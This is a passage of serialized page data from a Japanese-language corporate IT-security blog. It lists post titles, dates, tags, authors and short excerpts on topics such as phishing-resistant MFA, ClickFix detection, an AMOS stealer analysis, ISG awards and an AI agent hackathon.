Top":13342,"imageOffsetLeft":13343},{"display_name":13345,"avatar":13346,"permalink":13347,"linkedin":13348,"imageOffsetTop":13349,"imageOffsetLeft":13350},{"display_name":13352,"avatar":13353,"permalink":13354,"linkedin":13355,"imageOffsetTop":13356,"imageOffsetLeft":13098},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":13416,"authors":13631},[13417,13434,13448,13462,13478,13491,13504,13517,13529,13545,13559,13574,13590,13601,13615],{"id":13418,"title":13419,"author":13420,"cta":494,"description":594,"hideInRecent":484,"layout":12935,"meta":13421,"moment":13426,"path":13427,"stem":13428,"tags":13429,"webcast":484},"content_ja/posts/2026-09-22-end-of-mfa-sms.md","MFA向けSMSの終わり",[13093],{"lang":12937,"date":13422,"categories":13423,"blogtitlepic":13424,"customExcerpt":13425},"2026-09-21",[235],"head-conditional-access.jpg","企業がいまフィッシング耐性のある、できるだけパスワードレスな認証方式へ移行すべき理由。","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[235,13430,13431,13432,13433],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":13435,"title":13436,"author":13437,"cta":494,"description":594,"hideInRecent":484,"layout":12935,"meta":13438,"moment":13422,"path":13442,"stem":13443,"tags":13444,"webcast":484},"content_ja/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix。ユーザー自身がエクスプロイトになるとき、そしてそれを止める方法",[13067,13087],{"lang":12937,"date":13422,"categories":13439,"blogtitlepic":13440,"customExcerpt":13441},[235],"head-clickfix.jpg","ClickFixはユーザーを自分自身への攻撃者に変えます。偽のCAPTCHA、コピー＆ペースト、そして悪意あるコードがメモリ上で走り、ディスクには何も残りません。Microsoft Defenderがこの攻撃をどう検知するのか、検知はどこで限界に達するのか、そしてRunMRUハントと4つの防御レイヤーでその隙間をどう埋めるのかを解説します。","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[13445,13446,13447],"Defender","SOC","Endpoint Security",{"id":13449,"title":13450,"author":13451,"cta":494,"description":594,"hideInRecent":484,"layout":12935,"meta":13452,"moment":13422,"path":13456,"stem":13457,"tags":13458,"webcast":484},"content_ja/posts/2026-09-21-red-tenant-dark-tenant-cio.md","管理業務と日常業務を1台のPCで。Game Overです。",[13228],{"lang":12937,"date":13422,"categories":13453,"blogtitlepic":13454,"customExcerpt":13455},[235],"head-game-over-en.jpg","CIOにとってテナントが1つでは足りない理由と、2つ目がめったに検討されない理由。Managed Red Tenantは管理業務をオフィス環境からアーキテクチャとして分離し、Managed Dark Tenantは防御が破られてもなお組織が動き続けられるようにします。それが運用モデル、SOCのシグナル、そしてNISG 2026による証明義務にとって何を意味するのかを解説します。","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[235,13459,13460,13461],"Privileged Access","Zero Trust","NIS2",{"id":13463,"title":13464,"author":13465,"cta":494,"description":13466,"hideInRecent":484,"layout":12935,"meta":13467,"moment":13468,"path":13473,"stem":13474,"tags":13475,"webcast":484},"content_ja/posts/2026-08-08-isg-germany-2026.md","4度のLeader。ISGドイツ調査2026のglueckkanja",[13255],"ISGは今年、調査の名称を変更しました。Microsoft Cloud EcosystemはMicrosoft AI and Cloud Ecosystemになり、名称とともに評価の尺度も移りました。問われるのはもはや、誰がMicrosoftプラットフォームを導入したかではなく、誰がCopilot、エージェント、AIワークロードを制御可能なかたちで運用しているかです。この新しい尺度によって当社の位置づけが変わることはありませんでした。ISG Provider Lens®調査ドイツ2026は、当社を4つのクアドラントでLeaderに位置づけています。Microsoft Productivity and Business Process ServicesとAzure Managed Servicesの、それぞれLarge MarketとMid Marketです。2021年、2023年、2024年、2025年に続き、ドイツでは5回目のLeader評価となります。スイスでのLeaderクアドラント入りはその2週間前でした。",{"lang":12937,"date":13468,"categories":13469,"blogtitlepic":13471,"customExcerpt":13472},"2026-08-08",[13470],"Corporate","head-isg-de-2026.png","ISG Provider Lens®調査2026は、ドイツにおいてglueckkanjaを4つのクアドラントでLeaderに位置づけました。Microsoft Productivity and Business Process ServicesとAzure Managed Servicesの、それぞれLarge MarketとMid Marketです。調査の名称はMicrosoft AI and Cloud Ecosystemに変わり、評価の尺度も移りました。AIとエージェントのワークロードを制御可能なかたちで運用できるかが問われています。","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[13476,13477],"Award","ISG",{"id":13479,"title":13480,"author":13481,"cta":494,"description":13482,"hideInRecent":484,"layout":12935,"meta":13483,"moment":13484,"path":13488,"stem":13489,"tags":13490,"webcast":484},"content_ja/posts/2026-07-31-isg-switzerland-2026.md","Rising StarからLeaderへ。ISGスイス調査2026のglueckkanja",[13255],"2024年に当社はglueckkanja Switzerland AGを設立し、ベルンのBahnhofplatz 10bにあるzentroomにオフィスを構えました。2025年、ISGはスイス市場で当社をRising Starに位置づけました。アナリストがLeaderクアドラントへの躍進を見込むベンダーという位置づけです。その躍進がいま記録されました。ISG Provider Lens®調査2026は、スイスにおいて当社をMicrosoft AI and Cloud Ecosystemクアドラントの、Azure Managed Services領域とMicrosoft Productivity and Business Process Services領域でLeaderに位置づけています。",{"lang":12937,"date":13484,"categories":13485,"blogtitlepic":13486,"customExcerpt":13487},"2026-07-31",[13470],"head-isg-ch-2026.png","ISG Provider Lens®調査2026は、スイスにおいてglueckkanjaをMicrosoft AI and Cloud Ecosystemクアドラントの、Azure Managed Services領域とMicrosoft Productivity and Business Process Services領域でLeaderに位置づけました。ベルンでの市場参入から2年、Rising Star選出から1年でのことです。","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[13476,13477],{"id":13492,"title":13493,"author":13494,"cta":494,"description":594,"hideInRecent":484,"layout":12935,"meta":13495,"moment":13496,"path":13500,"stem":13501,"tags":13502,"webcast":484},"content_ja/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak。OpenAI／Hugging Faceの事案が示すこと、示さないこと",[13228],{"lang":12937,"date":13496,"categories":13497,"blogtitlepic":13498,"customExcerpt":13499},"2026-07-24",[235],"head-outbreak.jpg","AIエージェントがテスト環境から脱出し、ゼロデイを見つけ、別の企業をハッキングする。映画の脚本のようですが、2026年7月に実際に起きました。冷静に位置づける時期です。少しの心理学、2人のセキュリティ専門家、そしてそれが自社の防御にとって何を意味するのかという問いとともに。","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[13503,13446,13460],"AI",{"id":13505,"title":13506,"author":13507,"cta":494,"description":13508,"hideInRecent":484,"layout":12935,"meta":13509,"moment":13510,"path":13514,"stem":13515,"tags":13516,"webcast":484},"content_ja/posts/2026-07-22-isg-cybersecurity-2026.md","LeaderそしてRising Star。ISGサイバーセキュリティ調査2026のglueckkanja",[13255],"新たに加わったクアドラントで、いきなりLeaderになりました。ISG Provider Lens®調査「Cybersecurity – Services and Solutions 2026」は、ドイツの中堅中小企業向けNext-Gen SOC/MDR Services分野でglueckkanjaをLeaderと位置づけています。Next-Gen SOC/MDR Servicesの全体市場では、ISGは当社をRising Starに選出しました。つまり、今後12か月から24か月のうちにLeaderクアドラントへ躍進するとアナリストが見込むベンダーだということです。",{"lang":12937,"date":13510,"categories":13511,"blogtitlepic":13512,"customExcerpt":13513},"2026-07-22",[13470],"head-isg-cybersecurity-2026.png","ISG Provider Lens®調査 Cybersecurity 2026は、glueckkanjaをNext-Gen SOC/MDR Services（Midmarket）クアドラントのLeaderに選出しました。Next-Gen SOC/MDR Servicesの全体市場では、当社はRising Starです。ISGは当社の平均を上回る成長、Microsoftセキュリティに関する深い専門性、そしてドイツ国内から提供する24時間365日のSOCを評価しています。","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[13476,13477,235],{"id":13518,"title":13519,"author":13520,"cta":494,"description":13521,"hideInRecent":484,"layout":12935,"meta":13522,"moment":13523,"path":13526,"stem":13527,"tags":13528,"webcast":484},"content_ja/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity：AIが実際に働くために本当に必要なもの",[13255],"ある製造業の企業が、14,000あるSKUのうちどれが実際に利益を生んでいるのかを知りたいと考えました。答えは3つのシステムの中にありますが、それらは一度もデータを1件たりともやり取りしたことがありません。少し前までは、その答えを得るのに3つの部門、2週間、そして相当な善意が必要でした。2026年初頭からは、AIがこの問いに数分で答えられます。データを走査し、関連を結び、推奨を出す。ただし、アクセスできることが前提です。",{"lang":12937,"date":13523,"categories":13524,"blogtitlepic":13525},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[13503,131],{"id":13530,"title":13531,"author":13532,"cta":494,"description":13533,"hideInRecent":484,"layout":12935,"meta":13534,"moment":13535,"path":13539,"stem":13540,"tags":13541,"webcast":484},"content_ja/posts/2026-07-01-onboarding-process.md","契約書にサインしたあと：当社のオンボーディングはこう進みます",[13345],"オンボーディングは実際どう進むのですか。応募者との会話で繰り返し受ける質問です。オンボーディングがぎくしゃくした経験を持つ人が少なくないからでしょう。だからこそ当社は、最初から安心してもらうことを大切にしています。",{"lang":12937,"date":13535,"categories":13536,"blogtitlepic":13537,"customExcerpt":13538},"2026-07-01",[13470],"Onboarding_Blogheader","契約書にサインが済み、大きな一歩は終わりました。では、ここからどうなるのでしょうか。PreBoardingからチームでの最初の1週間まで、当社のオンボーディングの舞台裏をご案内します。","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[13542,13543,13544],"Employer Branding","Onboarding","Unternehmenskultur",{"id":13546,"title":13547,"author":13548,"cta":494,"description":13549,"hideInRecent":484,"layout":12935,"meta":13550,"moment":13551,"path":13555,"stem":13556,"tags":13557,"webcast":484},"content_ja/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner：当社もその一員です",[13255],"Microsoftのパートナーエコシステムには数多くの表彰がありますが、Frontier Partner Badgeはその成り立ちにおいて他の称号と一線を画します。申請することはできず、Microsoft側の主導で、ごく限られたパートナーに授与されます。対象となるには、1つの領域で秀でるのではなく、複数の領域で同時に実力を示さなければなりません。Microsoftが確認するのは、Cloud & AI Platforms、AI Business Solutions、そしてSecurityにおける実証済みの能力です。つまり対象は、AIを既存のITへの後付けではなく、IDからエンドポイント、そして本番のAI運用までを貫くアーキテクチャの帰結として捉えている企業です。",{"lang":12937,"date":13551,"categories":13552,"blogtitlepic":13553,"customExcerpt":13554},"2026-06-26",[13470],"head-frontier-partner-badge.jpg","最近、Microsoft AI Cloud Partner Programに新たな最高位の称号としてFrontier Partner Badgeが設けられました。Microsoftがこれを授与するのは、ワークプレイスからクラウドプラットフォーム、セキュリティ、そしてAIアプリケーションそのものに至るまで、Microsoftスタック全体でAIプロジェクトを確実に届けられると実績で示した、世界でもごく限られたパートナーだけです。DACH圏でこのグループに属するのは数社にすぎず、当社はそのうちの1社です。","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[13476,13558,13503],"Microsoft Partner",{"id":13560,"title":13561,"author":13562,"cta":494,"description":13563,"hideInRecent":484,"layout":12935,"meta":13564,"moment":13565,"path":13569,"stem":13570,"tags":13571,"webcast":484},"content_ja/posts/2026-06-09-vair-run.md","チャリティのために160キロ",[13352],"日曜の朝8時30分、マイン川沿いのHolbeinsteg。おそろいのNinjaCatシャツを着た11人の同僚が、Frankfurter Rundenのスタートに並びました。雨も雷鳴も込みです。良いことのために走るという動機は、悪天候でもランニングシューズの紐を結ぶのに十分でした。",{"lang":12937,"date":13565,"categories":13566,"blogtitlepic":13567,"customExcerpt":13568},"2026-06-08",[13470],"frankfurter-runden.png","同僚11人、16周、160キロ、雷雨、そして表彰台。glueckkanjaはFrankfurter Runden 2026に参加し、走った1周ごとにVAIR e.V.へ寄付しました。同団体はオフェンバッハでインクルーシブなスポーツ・カルチャーパークを建設しています。","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[13572,13542,13573],"Top Arbeitgeber","Soziales Engagement",{"id":13575,"title":13576,"author":13577,"cta":494,"description":13578,"hideInRecent":484,"layout":12935,"meta":13579,"moment":13580,"path":13584,"stem":13585,"tags":13586,"webcast":484},"content_ja/posts/2026-04-10-incident-to-intelligence.md","未知のAMOSスティーラーの解剖：アラートから免疫獲得まで数時間",[523],"当社のSOCでアラートが発報すると、そこから時計が動き始めます。対象となったお客様だけでなく、当社の保護下にあるすべての組織にとってです。現代の脅威環境で最も危険な瞬間はインテリジェンス・ギャップ、つまり新しいマルウェア亜種が最初に投入されてから、業界がその存在を知る日までの時間の窓です。",{"lang":12937,"date":13580,"categories":13581,"blogtitlepic":13582,"customExcerpt":13583},"2026-04-10",[235],"head-amos-stealer.png","これまで文書化されていなかったAMOSスティーラーの亜種が、macOSエンドポイントを侵害しました。既知のハッシュはなく、公開データベースにC2データもありません。当社のSOCは6層の難読化を解体し、すべての指標を抽出したうえで、業界がこの検体を目にするよりも前に、数時間以内ですべてのSOCのお客様へ保護を配布しました。","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[13057,13587,13588,13589,13058],"Incident Response","macOS Security","Malware Analysis",{"id":13591,"title":13592,"author":13593,"cta":494,"description":13594,"hideInRecent":484,"layout":12935,"meta":13595,"moment":13596,"path":13599,"stem":13600,"tags":494,"webcast":484},"content_ja/posts/2026-03-21-microsoft-edge-corporate-browser.md","Edgeを唯一の社内標準ブラウザーにすべき理由",[13124],"企業環境におけるブラウザーの選定は戦略的な判断です。セキュリティの水準と運用の手間を直接左右します。長らくGoogle Chromeが自然な選択肢でしたが、Microsoft Edgeは既存のスタックに直接組み込まれるブラウザーへと進化しました。特にMicrosoft 365を利用し、管理をIntuneで行っている環境ではその効果が大きくなります。",{"lang":12937,"date":13596,"blogtitlepic":13597,"customExcerpt":13598},"2026-03-21","head-microsoft-edge-default-browser.jpg","Chromeを本気で選んだ企業はほとんどありません。独自の同期ロジック、独自のアカウント管理、独自のポリシー画面を抱えたまま、ただそこにあっただけです。一方でMicrosoft Edgeは、すでに動いているインフラ、つまりEntra ID、Intune、Defenderに直接組み込まれます。本記事では、移行がどのようなものか、IntuneのポリシーでどのようにChromeをランディングページへリダイレクトするか、そして2つのブラウザーを並行運用するのをやめると何が不要になるかを紹介します。","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":13602,"title":13603,"author":13604,"cta":494,"description":13605,"hideInRecent":484,"layout":12935,"meta":13606,"moment":13607,"path":13611,"stem":13612,"tags":13613,"webcast":484},"content_ja/posts/2026-03-20-stryker-attack-intune-privilege.md","必要だったのは管理者アカウント1つだけでした",[13228],"2026年3月11日水曜日。79か国のStrykerのオフィスで従業員がPCの電源を入れると、中身は空でした。ログイン画面はロゴに置き換わっていました。社用ノートPC、社用スマートフォン、そして同社のBYODプログラムに登録されていた私物端末まで、すべてが一夜のうちに同時に消去されました。ランサムウェアもマルウェアのシグネチャも、エンドポイント検知ツールが捉えられるものは何もありませんでした。",{"lang":12937,"date":13607,"categories":13608,"blogtitlepic":13609,"customExcerpt":13610},"2026-03-20",[235],"head-stryker.jpg","2026年3月11日、Handalaは79か国の端末を消去しました。そのために必要だったのは、侵害されたIntuneの管理者アカウント1つだけです。マルウェアもエクスプロイトもなく、正規の管理ツールが所有者自身に向けられました。何が起きたのか、なぜそれが通用したのか、そして塞ぐべき2つのアーキテクチャ上の穴について説明します。","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[13614,71,13459,13460],"Red Tenant",{"id":13616,"title":13617,"author":13618,"cta":494,"description":13619,"hideInRecent":484,"layout":12935,"meta":13620,"moment":13621,"path":13625,"stem":13626,"tags":13627,"webcast":484},"content_ja/posts/2026-03-16-ai-agent-hackathon.md","6つのAgent。4週間。実際の運用へ。",[13255],"自社のIT部門は、Agentなら数分で片づく作業に毎週何時間を費やしているでしょうか。",{"lang":12937,"date":13621,"categories":13622,"blogtitlepic":13623,"customExcerpt":13624},"2026-03-16",[13470],"head-ai-agent-hackathon.jpg","6社、4週間のビルドフェーズ、6つの動作するAI Agent。これが第1回glueckkanja AI Agent Hackathonの成果です。Kiekert、Dr. Oetker、Eckes-Granini、igefa、lila logistikがCopilot StudioでAgentを構築し、それらは現在すでに本番で稼働しています。そこで何が生まれ、この形式がどのように機能するのかを紹介します。","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[13503,13628,13629,13630],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":13632,"Fritz Zurhorst":13633,"Nadine Klein":13634,"Jan Geisbauer":13635,"Carolin Kanja":13639,"Anna Ulbricht":13640,"Annette Brauns":13641,"Pascal Asch":13642,"Steffen Schwerdtfeger":13643},{"display_name":13093,"avatar":13094,"permalink":13095,"twitter":13096,"linkedin":13097,"imageOffsetTop":13098,"imageOffsetLeft":13099},{"display_name":13067,"avatar":13068,"permalink":13069,"linkedin":13070,"imageOffsetTop":13071},{"display_name":13087,"avatar":13088,"permalink":13089,"twitter":13090,"linkedin":13091,"imageOffsetTop":13071},{"display_name":13228,"avatar":13229,"permalink":13230,"twitter":13231,"linkedin":13231,"imageOffsetTop":13071,"socials":13636},[13637,13638],{"text":13234,"href":13235},{"text":13237,"href":13238},{"display_name":13255,"avatar":13256,"permalink":13257,"twitter":13258,"linkedin":13259},{"display_name":13345,"avatar":13346,"permalink":13347,"linkedin":13348,"imageOffsetTop":13349,"imageOffsetLeft":13350},{"display_name":13352,"avatar":13353,"permalink":13354,"linkedin":13355,"imageOffsetTop":13356,"imageOffsetLeft":13098},{"display_name":523,"avatar":13334,"permalink":13335,"linkedin":13336,"imageOffsetTop":13171},{"display_name":13124,"avatar":13125,"permalink":13126,"linkedin":13127,"twitter":13128,"imageOffsetTop":13129,"imageOffsetLeft":13130},{"id":13062,"extension":13063,"meta":13645,"stem":8,"__hash__":13414},{"Pascal Asch":13646},{"display_name":523,"avatar":13334,"permalink":13335,"linkedin":13336,"imageOffsetTop":13171},1791383936387]